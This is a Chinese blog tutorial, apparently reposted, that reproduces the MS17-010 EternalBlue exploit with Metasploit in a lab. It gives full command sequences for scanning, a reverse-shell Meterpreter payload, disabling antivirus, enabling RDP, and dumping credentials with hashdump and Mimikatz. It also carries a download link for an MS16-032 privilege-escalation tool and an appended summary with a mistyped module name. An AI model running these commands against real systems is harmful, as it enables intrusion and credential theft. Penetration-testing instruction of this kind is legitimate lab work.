23.通过MS17_010来学习msf对渗透的利用

本文通过复现MS17_010漏洞,详细介绍了如何使用Metasploit进行渗透测试。从扫描、利用漏洞到后渗透阶段,包括信息收集、权限维持等关键步骤。

 

Metersploit 集成了渗透阶段的全部利用,从漏洞探测,到漏洞利用,最后到后渗透阶段。本次博客主要抛砖引玉,通过对MS17_010漏洞的复现,来学习Metasploit。

漏洞环境:

      靶机:windows 7 (192.168.0.135)

      攻击机:kali 2018 (192.168.0.133)

开始之前先来熟悉 Metaspolit 基本术语:

Auxiliaries(辅助模块),Exploit(漏洞利用模块),Payload(攻击载荷模块),Post(后期渗透模块),Encoders(编码工具模块)

1.加载smb扫描模块

msf > search auxiliary/scanner/smb

发现可利用的smb_ms17_010模块

2.加载漏洞扫描模块对ip段进行漏洞扫描:

msf > use auxiliary/scanner/smb/smb_ms17_010

msf > set rhosts 192.168.0.100-150

msf > set threads 10

msf > run

发现 192.168.0.135 这台主机可能存在MS17_010漏洞

3.利用nmap对漏洞主机进行探测:

msf > nmap -T4 -A 192.168.0.135

发现敏感端口139,445开启

4.搜索MS17_010可利用漏洞模块

msf > search ms17_010

(没有的话 git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git)

5.加载漏洞利用模块,设置参数

msf > use exploit/windows/smb/ms17_010_eternalblue

msf > set lhost 192.168.0.133

msf > set rhost 192.168.0.135

msf > set payload windows/x64/meterpreter/reverse_tcp

msf > exploit

可以看到漏洞利用成功,现在是 system 最高权限

6.信息查看

进程迁移:

因为shell都是不稳定的,所以需要找到一个可靠的进程,迁移过去:

migrate 要迁移的进城号

查看系统信息:

meterpreter > sysinfo

查看是否为虚拟机:

meterpreter > run post/windows/gather/checkvm

查看目标机运行时间:

meterpreter > idletime

查看完整网络设置:
meterpreter > route

关闭杀毒软件:

meterpreter > run post/windows/manage/killav

启动目标机的远程桌面协议,开启3389端口:

meterpreter > run post/windows/manage/enable_rdp

可以看到已经成功启动了远程桌面。

列举当前登陆过的用户:

meterpreter > run post/windows/gather/enum_logged_on_users

可以看到有 SecEvery,Administrator两个用户。

列举安装在目标机上的应用程序:

meterpreter > run post/windows/gather/enum_applications

将当前Meterpreter终端隐藏在后台:

meterpreter > background

需要重新调用终端:

meterpreter > sessions -i 1

 

很多用户习惯将计算机设置为自动登陆,下面这个命令可以抓取自动登陆的用户名和密码:

meterpreter > run windows/gather/credentials/windows_autologin

下载c盘下1.txt文件到/home目录下:

meterpreter > download c:\txt /home

上传/home目录下1.txt文件到c盘下:

meterpreter > upload /home/1.txt c:\

密码抓取:

1.使用Hashdump抓取密码

Hashdump Meterpreter脚本可以从目标机中提取Hash值,破解Hash值即可获得登陆密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要想访问就必须有“系统级”账号。所以要使用改名了就必须进行权限提升。

在Meterpreter Shel提示符下输入hashdump命令,将导出目标机sam数据库中的Hash:

2.使用Mimikatz抓取密码

加载mimikatz模块:

meterpreter > load mimikatz

看了大概使用方法后,既可以使用Metasploit内建的命令,也可以使用Mimikatz自带的命令从目标机器上导出Hash和明文证书。

抓取系统Hash:

meterpreter > msv

md5解密:

抓取系统票据:

meterpreter > kerberos

获取系统账户信息:

 

----------------------------------------------------------------------------------

emmmm....为了给这篇文章增加一点营养,这里另附使用MS16_032对 windows 2003 进行溢出提权:

另附ms16_032提权小工具:

https://pan.baidu.com/s/141N6rXVO7mGvuXfp5UzzBA

提取码:yavh      解压码: 96sec.org

参考链接:

https://xz.aliyun.com/t/2536

https://www.cnblogs.com/lsgxeva/p/8450277.html

https://www.cnblogs.com/backlion/p/6804863.html

http://www.96sec.org/blog/post/243.html

转载于:https://www.cnblogs.com/bmjoker/p/10151708.html

### 使用 Metasploit 执行 MS17-010 漏洞利用 #### 加载 EternalBlue Exploit 模块 为了针对 MS17-010 漏洞进行攻击或测试,在 Metasploit 中加载特定的 SMB 漏洞利用模块: ```bash msf6 > use exploit/windows/smb/ms17_010_eternalblue ``` 这一步骤选择了用于 Windows SMB 服务中的 MS17-010 漏洞——即著名的“永恒之蓝”漏洞的攻击向量[^1]。 #### 设置目标和配置 Payload 一旦选定模块之后,设置目标机器的相关参数以及选择有效负载(Payload),默认情况下会选择 `windows/x64/meterpreter/reverse_tcp` 这种反向 TCP Meterpreter shell 类型的有效荷载: ```bash msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <target_ip> msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <local_ip> ``` 这里 `<target_ip>` 是指代存在潜在漏洞的目标主机 IP 地址,而 `<local_ip>` 则是指本地监听地址以便接收来自受害者的连接请求[^3]。 #### 验证并运行 Exploit 完成上述准备工作后,可以通过命令来检查当前设定是否合理,并最终执行实际攻击操作: ```bash msf6 exploit(windows/smb/ms17_010_etternalblue) > check msf6 exploit(windows/smb/ms17_010_eternalblue) > run ``` 需要注意的是,“check” 功能并非总是能够准确判断远程系统的脆弱性状态;因此即使返回不确定的结果也值得一试 “run”。 #### 后渗透阶段 如果成功突破,则会获得一个交互式的 Meterpreter Shell 或者其他形式的访问权限。此时可以根据具体需求进一步开展后续行动,比如文件系统浏览、密码提取等高级功能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值